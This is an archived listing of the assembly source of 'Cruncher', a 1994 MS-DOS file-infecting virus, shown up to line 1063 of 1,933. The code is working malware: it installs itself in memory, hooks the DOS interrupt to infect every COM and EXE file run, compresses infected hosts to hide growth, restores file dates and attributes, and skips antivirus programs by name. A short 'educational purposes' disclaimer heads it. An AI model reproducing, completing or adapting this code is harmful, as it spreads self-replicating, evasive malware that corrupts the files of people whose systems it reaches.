home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / ACOMPCOL.ZIP / CRUNCHER.ZIP / CRUNCH20.ZIP / CRUNCH20.ASM next >
Encoding:
Assembly Source File  |  1994-01-09  |  61.1 KB  |  1,933 lines

  1. ;-----------------------------------------------------------------------------
  2. ;  Cruncher VIRUS     version 2.0
  3. ;
  4. ;  Use MASM 4.0 to compile this source
  5. ;  (other assemblers will probably not produce the same result)
  6. ;
  7. ;  Disclaimer:
  8. ;  This file is only for educational purposes. The author takes no
  9. ;  responsibility for anything anyone does with this file. Do not
  10. ;  modify this file!
  11. ;-----------------------------------------------------------------------------
  12.  
  13.  
  14.                 .RADIX  16
  15.  
  16.  
  17. _TEXT           segment
  18.  
  19.                 assume  cs:_TEXT, ds:_TEXT
  20.  
  21.  
  22. VERSION         equ     2
  23. FILELEN         equ     last - first            ;length of virus
  24. FILEPAR         equ     (FILELEN + 010F)/10     ;length of virus in paragraphs
  25. STACKOFF        equ     1000                    ;Stack offset
  26. BUFLEN          equ     18                      ;length of buffer
  27.  
  28.  
  29. ;---------------------------------------------------------------------------
  30. ;               data area for virus
  31. ;---------------------------------------------------------------------------
  32.  
  33.                 org     00E0
  34.  
  35. oi21            dw      0, 0                    ;original interupt 21
  36. orglen          dw      0, 0                    ;original size of file
  37. oldlen          dw      0, 0                    ;size of file to be packed
  38. newlen          dw      0, 0                    ;size of packed file
  39. lm_par          dw      0                       ;size of load module (p)
  40. workseg         dw      0                       ;work segment
  41. topseg          dw      0                       ;top of work area
  42. vorm            dw      0
  43. savevorm        dw      0
  44. reads           db      0
  45.  
  46.  
  47.  
  48. ;-----------------------------------------------------------------------------
  49. ;               begin of virus, installation in memory
  50. ;-----------------------------------------------------------------------------
  51.  
  52.                 org     0100
  53.  
  54. first:          call    next                    ;get IP
  55. next:           pop     si
  56.                 sub     si,low 3                ;SI = begin virus
  57.                 mov     di,0100
  58.                 cld
  59.  
  60.                 push    ax                      ;save registers
  61.                 push    ds
  62.                 push    es
  63.                 push    di
  64.                 push    si
  65.  
  66.                 mov     ah,30                   ;DOS version >= 3.1?
  67.                 int     21
  68.                 xchg    ah,al
  69.                 cmp     ax,030A
  70.                 jb      not_install
  71.  
  72.                 mov     ax,33E0                 ;already resident?
  73.                 int     21
  74.                 cmp     ah,0A5
  75.                 je      not_install
  76.  
  77.                 mov     ax,es                   ;adjust memory-size
  78.                 dec     ax
  79.                 mov     ds,ax
  80.                 xor     bx,bx
  81.                 cmp     byte ptr [bx],5A
  82.                 jne     not_install
  83.                 mov     ax,[bx+3]
  84.                 sub     ax,FILEPAR
  85.                 jb      not_install
  86.                 mov     [bx+3],ax
  87.                 sub     word ptr ds:[bx+12],FILEPAR
  88.  
  89.                 mov     es,[bx+12]              ;copy program to top
  90.                 push    cs
  91.                 pop     ds
  92.                 mov     cx,FILELEN
  93.         rep     movsb
  94.  
  95.                 push    es
  96.                 pop     ds
  97.  
  98.                 mov     ax,3521                 ;get original int21 vector
  99.                 int     21
  100.                 mov     ds:[oi21],bx
  101.                 mov     ds:[oi21+2],es
  102.  
  103.                 mov     dx,offset ni21          ;install new int21 handler
  104.                 mov     ax,2521
  105.                 int     21
  106.  
  107. not_install:    pop     si                      ;restore registers
  108.                 pop     di
  109.                 pop     es
  110.                 pop     ds
  111.                 pop     ax
  112.  
  113.                 add     si,(offset buffer-100)
  114.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  115.                 je      entryE
  116.  
  117. entryC:         push    di                      ;restore COM file
  118.                 mov     cx,BUFLEN
  119.         rep     movsb
  120.                 ret
  121.  
  122. entryE:         mov     bx,ds                   ;calculate CS
  123.                 add     bx,low 10
  124.                 mov     cx,bx
  125.                 add     bx,cs:[si+0E]
  126.                 cli                             ;restore SS and SP
  127.                 mov     ss,bx
  128.                 mov     sp,cs:[si+10]
  129.                 sti
  130.                 add     cx,cs:[si+16]
  131.                 push    cx                      ;push new CS on stack
  132.                 push    cs:[si+14]              ;push new IP on stack
  133.                 db      0CBh                    ;retf
  134.  
  135.  
  136. ;-----------------------------------------------------------------------------
  137. ;               interupt 24 handler
  138. ;-----------------------------------------------------------------------------
  139.  
  140. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  141.                 iret
  142.  
  143.  
  144. ;-----------------------------------------------------------------------------
  145. ;               interupt 21 handler
  146. ;-----------------------------------------------------------------------------
  147.  
  148. ni21:           pushf
  149.  
  150.                 cmp     ax,33E0                 ;install-check ?
  151.                 jne     not_ic
  152.                 mov     ax,0A500+VERSION        ;return a signature
  153.                 popf
  154.                 iret
  155.  
  156. not_ic:         cmp     ax,33E1                 ;print message ?
  157.                 jne     not_mes
  158.                 push    ds
  159.                 push    cs
  160.                 pop     ds
  161.                 mov     dx,offset printme
  162.                 mov     ah,9
  163.                 int     21
  164.                 pop     ds
  165.                 popf
  166.                 iret
  167.  
  168. not_mes:        push    es                      ;save registers
  169.                 push    ds
  170.                 push    si
  171.                 push    di
  172.                 push    dx
  173.                 push    cx
  174.                 push    bx
  175.                 push    ax
  176.  
  177.                 cmp     ax,4B00                 ;execute ?
  178.                 jne     no_infect
  179.  
  180.                 call    infect
  181.  
  182. no_infect:      pop     ax                      ;restore registers
  183.                 pop     bx
  184.                 pop     cx
  185.                 pop     dx
  186.                 pop     di
  187.                 pop     si
  188.                 pop     ds
  189.                 pop     es
  190.                 popf
  191.  
  192. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  193.  
  194.  
  195. ;-----------------------------------------------------------------------------
  196. ;               tries to infect the file
  197. ;-----------------------------------------------------------------------------
  198.  
  199. infect:         cld
  200.  
  201.                 push    cs                      ;copy filename to CS:0000
  202.                 pop     es
  203.                 mov     si,dx
  204.                 xor     di,di
  205.                 mov     cx,0080
  206. namemove:       lodsb
  207.                 cmp     al,0
  208.                 je      moved
  209.                 cmp     al,'a'
  210.                 jb      char_ok
  211.                 cmp     al,'z'
  212.                 ja      char_ok
  213.                 xor     al,20                   ;convert to upper case
  214. char_ok:        stosb
  215.                 loop    namemove
  216. return:         ret
  217.  
  218. moved:          stosb                           ;put last zero after filename
  219.                 lea     si,[di-5]
  220.                 push    cs
  221.                 pop     ds
  222.                 
  223.                 lodsw                           ;check extension .COM or .EXE
  224.                 cmp     ax,'E.'
  225.                 jne     not_exe
  226.                 lodsw
  227.                 cmp     ax,'EX'
  228.                 jmp     short check
  229.  
  230. not_exe:        cmp     ax,'C.'
  231.                 jne     return
  232.                 lodsw
  233.                 cmp     ax,'MO'
  234. check:          jne     return
  235.  
  236.                 push    ax                      ;save begin of extension
  237.                 std                             ;find begin of filename
  238.                 mov     cx,si
  239.                 inc     cx
  240. searchbegin:    lodsb
  241.                 cmp     al,':'
  242.                 je      checkname
  243.                 cmp     al,'\'
  244.                 je      checkname
  245.                 loop    searchbegin
  246.                 dec     si
  247.  
  248. checkname:      pop     dx
  249.                 cld                             ;check filename
  250.                 lodsw
  251.                 lodsw
  252.                 mov     di,offset namesE
  253.                 mov     cl,12
  254.                 cmp     dx,'EX'
  255.                 je      zz
  256.                 mov     di,offset namesC
  257.                 mov     cl,3
  258. zz:     repnz   scasw
  259.                 je      return
  260.  
  261. name_ok:        mov     ah,48                   ;get space for work segment
  262.                 mov     bx,0FFFF
  263.                 int     21
  264.                 and     bx,0F800
  265.                 mov     ah,48
  266.                 int     21
  267.                 jc      return
  268.  
  269.                 push    ax                      ;save begin and end of segment
  270.                 add     ax,bx
  271.                 mov     word ptr [topseg],ax
  272.                 pop     ax
  273.                 add     ah,10
  274.                 mov     word ptr [workseg],ax
  275.                 mov     cl,0Bh
  276.                 shr     bx,cl
  277.                 sub     bl,2
  278.                 mov     byte ptr [reads],bl
  279.  
  280.                 mov     ax,3300                 ;get ctrl-break flag
  281.                 int     21
  282.                 push    dx                      ;save flag on stack
  283.  
  284.                 cwd                             ;clear the flag
  285.                 inc     ax
  286.                 push    ax
  287.                 int     21
  288.  
  289.                 mov     ax,3524                 ;get int24 vector
  290.                 int     21
  291.                 push    es                      ;save vector on stack
  292.                 push    bx
  293.  
  294.                 push    cs
  295.                 pop     ds
  296.  
  297.                 mov     dx,offset ni24          ;install new int24 handler
  298.                 mov     ah,25
  299.                 push    ax
  300.                 int     21
  301.  
  302.                 mov     ax,4300                 ;ask file-attributes
  303.                 cwd
  304.                 int     21
  305.                 push    cx                      ;save attributes on stack
  306.  
  307.                 xor     cx,cx                   ;clear attributes
  308.                 mov     ax,4301
  309.                 push    ax
  310.                 int     21
  311.                 jc      return1v
  312.  
  313.                 mov     ax,3D02                 ;open the file
  314.                 int     21
  315.                 jnc     opened
  316. return1v:       jmp     return1
  317.  
  318. opened:         xchg    ax,bx                   ;save handle
  319.  
  320.                 mov     ax,5700                 ;get file date & time
  321.                 int     21
  322.                 push    dx                      ;save date & time on stack
  323.                 push    cx
  324.  
  325.                 xor     dx,dx
  326.                 mov     di,offset oldlen
  327.                 mov     word ptr [di],dx
  328.                 mov     word ptr [di+2],dx
  329.  
  330.                 mov     cx,word ptr [workseg]   ;read complete file
  331. lees:           push    cx
  332.                 mov     ds,cx
  333.                 mov     cx,8000
  334.                 mov     ah,3F
  335.                 int     21
  336.                 pop     cx
  337.                 cmp     ax,dx                   ;stop if no more bytes are read
  338.                 je      gelezen
  339.                 add     word ptr cs:[di],ax     ;count size of file
  340.                 adc     word ptr cs:[di+2],dx
  341.                 add     ch,8
  342.                 dec     byte ptr cs:[reads]     ;read more?
  343.                 jnz     lees
  344.                 cmp     ax,(8000-FILELEN)       ;file too big?
  345.                 je      close2
  346.  
  347. gelezen:        mov     ds,word ptr cs:[workseg]   ;DS:SI -> begin of file
  348.                 xor     si,si
  349.  
  350.                 push    cs
  351.                 pop     es
  352.                 mov     di,offset buffer
  353.                 mov     cx,BUFLEN               ;copy begin of file to buffer
  354.         rep     movsb
  355.  
  356.                 xor     si,si
  357.                 push    ds
  358.                 pop     es
  359.  
  360.                 cmp     word ptr [si],'ZM'      ;EXE or COM?
  361.                 je      is_EXE
  362.  
  363.  
  364. is_COM:         call    check_com               ;check the file
  365.                 jc      close2
  366.  
  367.                 mov     ah,3E                   ;close file
  368.                 int     21
  369.  
  370.                 xor     di,di                   ;put JMP at begin of file
  371.                 mov     al,0E9
  372.                 stosb
  373.                 mov     ax,word ptr cs:[oldlen]
  374.                 sub     ax,low 3
  375.                 stosw
  376.  
  377.                 call    addvirus                ;append virus after file
  378.  
  379.                 push    cs
  380.                 pop     ds
  381.  
  382.                 mov     ah,3C                   ;create new file
  383.                 xor     dx,dx
  384.                 mov     cx,20
  385.                 int     21
  386.                 jc      return1
  387.                 xchg    ax,bx
  388.                 
  389.                 call    do_com                  ;write packed file
  390. close2:         jmp     close
  391.  
  392.  
  393. is_EXE:         call    check_exe               ;check the file
  394.                 jc      close2
  395.  
  396.                 mov     ah,3E                   ;close the file
  397.                 int     21
  398.  
  399. infect_exe:     call    getlen                  ;calculate new CS & IP
  400.                 mov     cx,0010
  401.                 div     cx
  402.                 sub     ax,word ptr [si+8]
  403.                 dec     ax
  404.                 add     dx,low 10
  405.  
  406.                 mov     word ptr [si+16],ax     ;put CS in header
  407.                 mov     word ptr [si+0E],ax     ;put SS in header
  408.                 mov     word ptr [si+14],dx     ;put IP in header
  409.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  410.  
  411.                 call    getlen                  ;put new length in header
  412.                 add     ax,FILELEN
  413.                 adc     dx,0
  414.                 call    calclen
  415.                 mov     word ptr [si+4],ax
  416.                 mov     word ptr [si+2],dx
  417.  
  418.                 call    addvirus                ;append virus after file
  419.  
  420.                 call    pre_patch               ;prepare file for compression
  421.                 jnc     patch_ok
  422.                 pop     cx
  423.                 pop     dx
  424.                 jmp     short do_close
  425.  
  426. patch_ok:       push    cs
  427.                 pop     ds
  428.  
  429.                 mov     ah,3C                   ;create new file
  430.                 xor     dx,dx
  431.                 mov     cx,20
  432.                 int     21
  433.                 jc      return1
  434.                 xchg    ax,bx                
  435.                 
  436.                 call    do_exe                  ;write packed file
  437.  
  438. close:          pop     cx                      ;restore date & time
  439.                 pop     dx
  440.                 mov     ax,5701
  441.                 int     21
  442.  
  443. do_close:       mov     ah,3E                   ;close the file
  444.                 int     21
  445.  
  446. return1:        pop     ax                      ;restore attributes
  447.                 pop     cx
  448.                 cwd
  449.                 int     21
  450.  
  451.                 pop     ax                      ;restore int24 vector
  452.                 pop     dx
  453.                 pop     ds
  454.                 int     21
  455.  
  456.                 pop     ax                      ;restore ctrl-break flag
  457.                 pop     dx
  458.                 int     21
  459.  
  460.                 mov     ax,word ptr cs:[workseg]  ;release work segment
  461.                 sub     ah,10
  462.                 mov     es,ax
  463.                 mov     ah,49
  464.                 int     21
  465.  
  466.                 ret
  467.  
  468.  
  469. ;-----------------------------------------------------------------------------
  470. ;               add virus to file
  471. ;-----------------------------------------------------------------------------
  472.  
  473. addvirus:       push    ds
  474.                 push    si
  475.  
  476.                 push    cs                      ;ES:DI -> end of file
  477.                 pop     ds
  478.                 call    gotoend
  479.                 mov     si,0100                 ;append virus
  480.                 mov     cx,FILELEN
  481.         rep     movsb
  482.  
  483.                 add     word ptr [oldlen],FILELEN   ;adjust size counters
  484.                 adc     word ptr [oldlen+2],0
  485.  
  486.                 mov     ax,word ptr [oldlen]
  487.                 mov     dx,word ptr [oldlen+2]
  488.                 mov     word ptr [orglen],ax
  489.                 mov     word ptr [orglen+2],dx
  490.  
  491.                 pop     si
  492.                 pop     ds
  493.                 ret
  494.  
  495. ;-----------------------------------------------------------------------------
  496. ;               filenames to avoid
  497. ;-----------------------------------------------------------------------------
  498.  
  499. namesC          db      'CO', '  ', '  '
  500. namesE          db      'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI', 'FI'
  501.                 db      'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  ', '  '
  502.                 db      '  ', '  '
  503.  
  504.  
  505. ;-----------------------------------------------------------------------------
  506. ;               calculate length for EXE header
  507. ;-----------------------------------------------------------------------------
  508.  
  509. calclen:        mov     cx,0200
  510.                 div     cx
  511.                 or      dx,dx
  512.                 jz      no_cor
  513.                 inc     ax
  514. no_cor:         ret
  515.  
  516.  
  517. ;-----------------------------------------------------------------------------
  518. ;               get original length of program
  519. ;-----------------------------------------------------------------------------
  520.  
  521. getlen:         mov     ax,cs:[oldlen]
  522.                 mov     dx,cs:[oldlen+2]
  523.                 ret
  524.  
  525.  
  526. ;-----------------------------------------------------------------------------
  527. ;               goto position in file
  528. ;-----------------------------------------------------------------------------
  529.  
  530. gotoend:        call    getlen
  531. goto:           call    div10
  532.                 add     ax,word ptr cs:[workseg]
  533.                 mov     es,ax
  534.                 mov     di,dx
  535.                 ret
  536.  
  537.  
  538. ;-----------------------------------------------------------------------------
  539. ;               check COM file
  540. ;-----------------------------------------------------------------------------
  541.  
  542. check_com:      cmp     word ptr [si+3],0FC3Bh  ;already packed?
  543.                 je      bad_com
  544.  
  545.                 test    byte ptr [si],80        ;maybe a strange EXE?
  546.                 jz      bad_com
  547.  
  548.                 call    getlen                  ;check length
  549.                 cmp     ah,0D0
  550.                 jae     bad_com
  551.                 cmp     ah,1
  552.                 jb      bad_com
  553.  
  554.                 clc
  555.                 ret
  556.  
  557. bad_com:        stc
  558.                 ret
  559.  
  560.  
  561. ;-----------------------------------------------------------------------------
  562. ;               check EXE file
  563. ;-----------------------------------------------------------------------------
  564.  
  565. check_exe:      cmp     word ptr [si+23],06FC   ;already packed?
  566.                 je      bad_exe
  567.  
  568.                 cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  569.                 jb      not_win
  570.  
  571.                 mov     ax,003C
  572.                 cwd
  573.                 call    goto
  574.  
  575.                 mov     ax,word ptr es:[di]
  576.                 mov     dx,word ptr es:[di+2]
  577.                 call    goto
  578.                 
  579.                 cmp     byte ptr es:[di+1],'E'
  580.                 je      bad_exe
  581.  
  582. not_win:        call    getlen                  ;check for internal overlays
  583.                 call    calclen
  584.                 cmp     word ptr [si+4],ax
  585.                 jne     bad_exe
  586.                 cmp     word ptr [si+2],dx
  587.                 jne     bad_exe
  588.  
  589.                 cmp     word ptr [si+0C],si     ;high memory allocation?
  590.                 je      bad_exe
  591.  
  592.                 cmp     word ptr [si+1A],si     ;overlay nr. not zero?
  593.                 jne     bad_exe
  594.  
  595.  
  596.                 cmp     word ptr [si+8],0F80    ;check size of header
  597.                 ja      bad_exe
  598.                 cmp     word ptr [si+8],2
  599.                 jb      bad_exe
  600.  
  601.                 clc
  602.                 ret
  603.  
  604. bad_exe:        stc
  605.                 ret
  606.  
  607.  
  608. ;---------------------------------------------------------------------
  609. ;               prepare file for compression
  610. ;---------------------------------------------------------------------
  611.  
  612. pre_patch:      mov     ax,word ptr [si+4]      ;calculate size in paragraphs
  613.                 mov     cx,5
  614.                 shl     ax,cl
  615.                 sub     ax,word ptr [si+8]
  616.                 mov     word ptr cs:[lm_par],ax
  617.  
  618.                 mov     ax,word ptr cs:[orglen]       ;calculate end of file
  619.                 mov     dx,word ptr cs:[orglen+2]
  620.                 call    goto
  621.  
  622.                 add     ax,word ptr [si+8]      ;file too big?
  623.                 add     ax,2
  624.                 cmp     ax,word ptr cs:[topseg]
  625.                 jb      not2big
  626.                 stc
  627.                 ret
  628.  
  629. not2big:        mov     ax,word ptr [si+8]      ;copy header after file
  630.                 push    di
  631.                 push    di
  632.                 push    si
  633.                 mov     cx,3
  634.                 shl     ax,cl
  635.                 mov     cx,ax
  636.         rep     movsw
  637.                 mov     dx,di
  638.                 pop     si
  639.                 pop     di
  640.                 push    dx
  641.  
  642.                 mov     cx,word ptr [si+6]      ;are there relocation items?
  643.                 jcxz    z5
  644.                 add     di,[si+18]
  645.                 add     si,[si+18]
  646.                 push    di
  647.                 push    si
  648.                 push    cx
  649.                 xor     ax,ax                   ;clear relloc. items
  650.                 shl     cx,1
  651.         rep     stosw
  652.                 pop     cx
  653.                 pop     si
  654.                 pop     di
  655.                 mov     bp,-1
  656. z1:             lodsw                           ;fill in relloc. items
  657.                 mov     dx,ax
  658.                 lodsw
  659.                 or      ax,ax
  660.                 js      errr
  661.                 cmp     ax,bp
  662.                 jne     z3
  663.                 mov     ax,dx
  664.                 sub     ax,bx
  665.                 test    ah,0C0
  666.                 jnp     z2
  667.                 or      ah,80
  668.                 jmp     short z4
  669.  
  670. z2:             mov     ax,[si-2]
  671. z3:             stosw
  672.                 mov     bp,ax
  673.                 mov     ax,dx
  674. z4:             mov     bx,dx
  675.                 stosw
  676.                 loop    z1
  677.  
  678. z5:             pop     dx
  679.                 pop     si
  680.  
  681.                 mov     cx,di                   ;search end of relloc. table
  682.                 xor     ax,ax
  683. z6:             cmp     di,dx
  684.                 jae     z7
  685.                 scasb
  686.                 jz      z6
  687.                 mov     cx,di
  688.                 jmp     short z6
  689.  
  690. z7:             sub     cx,si
  691.                 push    es
  692.                 pop     ds
  693.  
  694.                 push    si                      ;calculate checksum
  695.                 push    cx
  696.                 xor     ax,ax
  697. z8:             xor     ah,[si]
  698.                 inc     si
  699.                 loop    z8
  700.                 and     ah,0FE
  701.                 pop     cx
  702.                 pop     si
  703.                 add     [si+2],ax
  704.                 mov     ax,cx
  705.                 xor     dx,dx
  706.  
  707.                 add     word ptr cs:[oldlen],ax         ;adjust size counters
  708.                 adc     word ptr cs:[oldlen+2],dx
  709.                 mov     ax,[si+8]
  710.                 mov     cx,4
  711.                 shl     ax,cl
  712.                 sub     word ptr cs:[oldlen],ax
  713.                 sbb     word ptr cs:[oldlen+2],dx
  714.  
  715.                 clc
  716.                 ret
  717.  
  718. errr:           stc
  719.                 ret
  720.  
  721.  
  722. ;---------------------------------------------------------------------
  723. ;               write packed COM file
  724. ;---------------------------------------------------------------------
  725.  
  726. do_com:         mov     ah,40                   ;first part of decryptor
  727.                 mov     cx,25
  728.                 mov     dx,offset diet_strt
  729.                 int     21
  730.  
  731.                 push    bx
  732.  
  733.                 mov     ax,word ptr [workseg]   ;init. segments
  734.                 mov     ds,ax                
  735.                 sub     ah,10
  736.                 mov     es,ax
  737.  
  738.                 mov     cl,1
  739.  
  740.                 call    diet                    ;crunch!
  741.  
  742.                 push    cs
  743.                 push    cs
  744.                 pop     ds
  745.                 pop     es
  746.  
  747.                 mov     word ptr [diet_strt+23],bx       ;save values
  748.                 mov     word ptr [newlen],ax
  749.                 mov     word ptr [newlen+2],dx
  750.  
  751.                 pop     bx
  752.  
  753.                 call    patchC                  ;adjust values in decryptor
  754.  
  755.                 mov     ah,40                   ;write rest of decryptor
  756.                 mov     cx,094
  757.                 mov     dx,offset diet_end1
  758.                 int     21
  759.  
  760.                 mov     ah,40
  761.                 mov     cx,0F
  762.                 mov     dx,offset diet_end2
  763.                 int     21
  764.  
  765.                 mov     ax,4200                 ;goto begin
  766.                 xor     cx,cx
  767.                 cwd
  768.                 int     21
  769.  
  770.                 mov     ah,40                   ;write first part again
  771.                 mov     cx,25
  772.                 mov     dx,offset diet_strt
  773.                 int     21
  774.                 ret
  775.  
  776.  
  777. ;---------------------------------------------------------------------
  778. ;               write packed EXE file
  779. ;---------------------------------------------------------------------
  780.  
  781. do_exe:         mov     ah,40                   ;first part of decryptor
  782.                 mov     cx,5A
  783.                 mov     dx,offset exe_hdr
  784.                 int     21
  785.  
  786.                 push    bx
  787.  
  788.                 mov     ax,word ptr [workseg]   ;init. segments
  789.                 mov     ds,ax
  790.                 sub     ah,10
  791.                 mov     es,ax
  792.  
  793.                 cmp     word ptr cs:[oldlen+2],0
  794.                 jl      vorm1
  795.                 jg      vorm0
  796.                 cmp     word ptr cs:[oldlen],0FC00
  797.                 jbe     vorm1
  798.  
  799. vorm0:          xor     ax,ax
  800.                 jmp     short v1
  801.  
  802. vorm1:          mov     ax,1
  803.  
  804. v1:             mov     word ptr cs:[savevorm],ax
  805.                 mov     cx,ax
  806.  
  807.                 mov     ax,ds
  808.                 xor     si,si
  809.                 add     ax,word ptr [si+8]
  810.                 mov     ds,ax
  811.  
  812.                 call    diet                    ;crunch!
  813.  
  814.                 push    cs
  815.                 pop     ds
  816.                 mov     es,word ptr [workseg]
  817.  
  818.                 mov     word ptr [exe_hdr+12],bx        ;save values
  819.                 mov     word ptr [newlen],ax
  820.                 mov     word ptr [newlen+2],dx
  821.  
  822.                 pop     bx
  823.  
  824.                 call    patchE                  ;adjust values in decryptor
  825.  
  826.                 push    cs
  827.                 pop     es
  828.  
  829.                 mov     cx,94                   ;write rest of decryptor
  830.                 cmp     word ptr [savevorm],0
  831.                 jne     v2
  832.                 mov     cx,0C0
  833. v2:             mov     ah,40
  834.                 mov     dx,offset diet_end1
  835.                 int     21
  836.  
  837.                 mov     ax,word ptr [vorm]
  838.                 cmp     al,2
  839.                 je      v4
  840.                 cmp     al,1
  841.                 je      v3
  842.  
  843.                 mov     cx,35
  844.                 mov     dx,offset diet_end_e1
  845.                 jmp     short v5
  846.  
  847. v3:             mov     cx,3E
  848.                 mov     dx,offset diet_end_e2
  849.                 jmp     short v5
  850.  
  851. v4:             mov     cx,1Dh
  852.                 mov     dx,offset diet_end_e3
  853.  
  854. v5:             mov     ah,40
  855.                 int     21
  856.  
  857.                 mov     ax,4200                 ;goto begin
  858.                 xor     cx,cx
  859.                 cwd
  860.                 int     21
  861.  
  862.                 mov     ah,40                   ;write first part again
  863.                 mov     cx,5A
  864.                 mov     dx,offset exe_hdr
  865.                 int     21
  866.                 ret
  867.  
  868.  
  869. ;---------------------------------------------------------------------
  870. ;               adjust values in COM decryptor
  871. ;---------------------------------------------------------------------
  872.  
  873. patchC:         mov     ax,word ptr [newlen]
  874.                 add     ax,0C4
  875.                 shr     ax,1
  876.                 mov     word ptr [diet_strt+0F],ax
  877.                 shl     ax,1
  878.                 add     ax,123
  879.                 mov     word ptr [diet_strt+0C],ax
  880.                 add     ax,word ptr [oldlen]
  881.                 sub     ax,word ptr [newlen]
  882.                 add     ax,3DBh
  883.                 mov     word ptr [diet_strt+1],ax
  884.  
  885.                 mov     ax,word ptr [oldlen]
  886.                 add     ax,456
  887.                 mov     word ptr [diet_strt+21],ax
  888.                 add     ax,4Dh
  889.                 neg     ax
  890.                 mov     word ptr [diet_end2+0Dh],ax
  891.                 ret
  892.  
  893.  
  894. ;---------------------------------------------------------------------
  895. ;               adjust values in EXE decryptor
  896. ;---------------------------------------------------------------------
  897.  
  898. patchE:         push    bx
  899.  
  900.                 mov     ax,3A
  901.                 xor     dx,dx
  902.                 add     ax,word ptr [newlen]
  903.                 adc     dx,word ptr [newlen+2]
  904.                 call    div10
  905.                 add     ax,18
  906.                 mov     word ptr [exe_hdr+2E],ax
  907.                 push    dx
  908.  
  909.                 call    getlen
  910.                 call    shift4
  911.                 add     ax,58
  912.                 mov     si,ax
  913.                 sub     ax,word ptr [exe_hdr+2E]
  914.                 mov     word ptr [exe_hdr+35],ax
  915.                 cmp     ax,10
  916.                 jnb     pe0
  917.                 mov     word ptr [exe_hdr+35],10
  918.                 mov     si,word ptr [exe_hdr+2E]
  919.                 add     si,ax
  920.  
  921. pe0:            mov     ax,word ptr [orglen]
  922.                 mov     dx,word ptr [orglen+2]
  923.                 call    shift4
  924.                 sub     ax,word ptr es:[0008]
  925.                 mov     word ptr [exe_hdr+58],ax
  926.  
  927.                 neg     ax
  928.                 add     ax,si
  929.                 mov     cx,4
  930.                 shl     ax,cl
  931.                 pop     dx
  932.                 add     ax,dx
  933.                 sub     ax,107
  934.                 mov     word ptr [exe_hdr+56],ax
  935.  
  936.                 cmp     word ptr es:[0006],0
  937.                 jz      pe2
  938.  
  939.                 mov     ax,es:[0010]
  940.                 mov     cx,4
  941.                 shr     ax,cl
  942.                 add     ax,es:[000E]
  943.                 mov     dx,si
  944.                 add     dx,8
  945.                 cmp     ax,dx
  946.                 jbe     pe1
  947.                 mov     word ptr [vorm],0
  948.                 mov     ax,word ptr es:[000E]
  949.                 mov     word ptr [exe_hdr+0E],ax
  950.                 mov     ax,word ptr es:[0010]
  951.                 mov     word ptr [exe_hdr+10],ax
  952.                 jmp     short pe5
  953.  
  954. pe1:            mov     word ptr [vorm],1
  955.                 jmp     short pe4
  956.  
  957. pe2:            mov     word ptr [vorm],2
  958.  
  959. pe4:            mov     word ptr [exe_hdr+0E],si
  960.                 mov     word ptr [exe_hdr+10],0080
  961.                 mov     ax,word ptr es:[000E]
  962.                 mov     word ptr [diet_end_e2+26],ax
  963.                 mov     word ptr [diet_end_e3+05],ax
  964.                 mov     ax,word ptr es:[0010]
  965.                 mov     word ptr [diet_end_e2+2Bh],ax
  966.                 mov     word ptr [diet_end_e3+0A],ax
  967.  
  968. pe5:            mov     ax,094
  969.                 cmp     word ptr [savevorm],0
  970.                 jne     pe6
  971.                 mov     ax,0C0
  972. pe6:            xchg    ax,dx
  973.  
  974.                 mov     ax,word ptr [vorm]
  975.                 mov     bx,offset vormval
  976.                 xlat
  977.                 add     ax,dx
  978.                 add     ax,5A
  979.                 xor     dx,dx
  980.                 add     ax,word ptr [newlen]
  981.                 adc     dx,word ptr [newlen+2]
  982.  
  983.                 push    ax
  984.                 push    dx
  985.  
  986.                 push    ax
  987.                 push    dx
  988.  
  989.                 push    ax
  990.                 add     ax,01FF
  991.                 adc     dx,0
  992.                 call    shift9
  993.                 mov     word ptr [exe_hdr+4],ax
  994.                 pop     ax
  995.                 and     ax,01FF
  996.                 mov     word ptr [exe_hdr+2],ax
  997.  
  998.                 pop     dx
  999.                 pop     ax
  1000.  
  1001.                 add     ax,-11
  1002.                 adc     dx,-1
  1003.                 call    shift4
  1004.                 xchg    ax,dx
  1005.  
  1006.                 mov     di,word ptr [lm_par]
  1007.                 add     di,es:[000A]
  1008.                 mov     ax,si
  1009.                 add     ax,8
  1010.                 cmp     ax,di
  1011.                 ja      pe10
  1012.                 mov     ax,di
  1013. pe10:           sub     ax,dx
  1014.                 mov     word ptr [exe_hdr+0A],ax
  1015.  
  1016.                 mov     word ptr [exe_hdr+0C],0FFFF
  1017.                 cmp     word ptr es:[000C],0FFFF
  1018.                 jz      pe12
  1019.  
  1020.                 mov     di,word ptr [lm_par]
  1021.                 add     di,es:[000C]
  1022.                 mov     ax,si
  1023.                 add     ax,8
  1024.                 cmp     ax,di
  1025.                 ja      pe11
  1026.                 mov     ax,di
  1027. pe11:           sub     ax,dx
  1028.                 mov     word ptr [exe_hdr+0C],ax
  1029.  
  1030. pe12:           mov     ax,word ptr es:[0014]
  1031.                 mov     word ptr [diet_end_e1+31],ax
  1032.                 mov     word ptr [diet_end_e2+3A],ax
  1033.                 mov     word ptr [diet_end_e3+19],ax
  1034.  
  1035.                 mov     ax,word ptr es:[0016]
  1036.                 mov     word ptr [diet_end_e1+33],ax
  1037.                 mov     word ptr [diet_end_e2+3C],ax
  1038.                 mov     word ptr [diet_end_e3+1Bh],ax
  1039.  
  1040.                 pop     dx
  1041.                 pop     ax
  1042.                 add     ax,-22
  1043.                 adc     dx,-1
  1044.                 call    div10
  1045.                 mov     word ptr [exe_hdr+1E],ax
  1046.                 mov     word ptr [exe_hdr+1C],dx
  1047.  
  1048.                 mov     ax,word ptr [orglen]
  1049.                 and     ax,000F
  1050.                 add     ax,word ptr es:[0018]
  1051.                 mov     word ptr [diet_end_e1+4],ax
  1052.                 mov     word ptr [diet_end_e2+4],ax
  1053.  
  1054.                 mov     ax,word ptr es:[0006]
  1055.                 mov     word ptr [diet_end_e1+7],ax
  1056.                 mov     word ptr [diet_end_e2+7],ax
  1057.  
  1058.                 mov     ax,word ptr [newlen]
  1059.                 mov     dx,word ptr [newlen+2]
  1060.                 mov     word ptr [exe_hdr+20],ax
  1061.                 mov     byte ptr [exe_hdr+22],dl
  1062.  
  1063.                 mov     ax,word ptr es:[0008]
